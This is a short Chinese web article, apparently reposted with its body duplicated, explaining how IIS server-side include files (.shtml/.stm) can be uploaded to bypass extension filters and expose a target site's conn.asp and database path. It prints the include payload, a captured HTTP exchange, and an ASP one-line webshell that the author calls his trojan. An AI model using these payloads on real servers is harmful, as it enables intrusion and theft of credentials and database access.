注意:IIS下另外一个危险的ISAPI扩展
来源:Net作者:Net 发布时间:2008-04-20
阅读次数
我们先来看一份关于SSIDe介绍:SSI有什么用? 之所以要扯到ssi,是因为shtml--server-parsed HTML De首字母缩略词.包含有嵌入式服务器方包含命令De HTML 文本.在被传送给浏览器之前,服务器会对 SHTML 文 ...
我们先来看一份关于SSIDe介绍:
SSI有什么用?
之所以要扯到ssi,是因为shtml--server-parsed HTML De首字母缩略词.包含有嵌入式服务器方包含命令De HTML 文本.在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改.
shtml和asp 有一些相似,以shtml命名De文件里,使用了ssiDe一些指令,就像asp中De指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含DeSSI指令解释出来
比如:你可以在SHTML文件中用SSI指令引用其他Dehtml文件(#include ),服务器传送给客户端De文件,是已经解释DeSHTML不会有SSI指令.它实现了HTML所没有De功能,就是可以实现了动态DeSHTML,可以说是HTMLDe一种进化吧.像新浪De新闻系统就是这样De,新闻内容是固定De但它上面De广告和菜单等就是用#include引用进来De.
目前,主要有以下几种用用途:
1、显示服务器端环境变量<#echo>
2、将文本内容直接插入到文档中<#include>
3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
4、直接执行服务器上De各种程序<#exec>(如CGI或其他可执行程序)
5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句
大家都知道ISAPI在默认情况下有很多危险De扩展,比如:
ASP ASA CER CDX,都可以执行ASP脚本代码
在程序不允许上传这些扩展De情况下我们可以上传一个stm文件或者shtml, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦! 并且又看了那篇shtmlDe介绍后,恍然大悟,终于明白了!
原来就是如上所说De,
<!--#include file="conn.asp"-->
就是一条SSI指令,其作用是将"conn.asp"De内容拷贝到当前De页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中De内容.
我在本地试验成功!在我Deiis目录下建了一个test.shtml文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我De一个木马文件ok.asp
在浏览器中请求test.shtml,没有什么反映,一片空白.
但是一查看源代码,狂晕,原来就是我Deasp文件De内容!
这样我们就可以利用这个来获取要入侵DewebDeconn文件来获得数据库路径,
但是一个前提是服务器De对stm或者shtmlDe扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展.
GET /test.shtml HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 221.195.40.43
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 14 Aug 2007 01:57:18 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22
Content-Type: text/html <%eval(request("#"))%>
SSI有什么用?
之所以要扯到ssi,是因为shtml--server-parsed HTML De首字母缩略词.包含有嵌入式服务器方包含命令De HTML 文本.在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改.
shtml和asp 有一些相似,以shtml命名De文件里,使用了ssiDe一些指令,就像asp中De指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含DeSSI指令解释出来
比如:你可以在SHTML文件中用SSI指令引用其他Dehtml文件(#include ),服务器传送给客户端De文件,是已经解释DeSHTML不会有SSI指令.它实现了HTML所没有De功能,就是可以实现了动态DeSHTML,可以说是HTMLDe一种进化吧.像新浪De新闻系统就是这样De,新闻内容是固定De但它上面De广告和菜单等就是用#include引用进来De.
目前,主要有以下几种用用途:
1、显示服务器端环境变量<#echo>
2、将文本内容直接插入到文档中<#include>
3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
4、直接执行服务器上De各种程序<#exec>(如CGI或其他可执行程序)
5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句
大家都知道ISAPI在默认情况下有很多危险De扩展,比如:
ASP ASA CER CDX,都可以执行ASP脚本代码
在程序不允许上传这些扩展De情况下我们可以上传一个stm文件或者shtml, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦! 并且又看了那篇shtmlDe介绍后,恍然大悟,终于明白了!
原来就是如上所说De,
<!--#include file="conn.asp"-->
就是一条SSI指令,其作用是将"conn.asp"De内容拷贝到当前De页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中De内容.
我在本地试验成功!在我Deiis目录下建了一个test.shtml文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我De一个木马文件ok.asp
在浏览器中请求test.shtml,没有什么反映,一片空白.
但是一查看源代码,狂晕,原来就是我Deasp文件De内容!
这样我们就可以利用这个来获取要入侵DewebDeconn文件来获得数据库路径,
但是一个前提是服务器De对stm或者shtmlDe扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展.
GET /test.shtml HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 221.195.40.43
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 14 Aug 2007 01:57:18 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22
Content-Type: text/html <%eval(request("#"))%>
上一篇: 不再怕泄密:简单方便安全的加密文件
下一篇: 给用户穿上防弹衣,傲游 2.0 安全性能再增强!
关注此文读者还看过
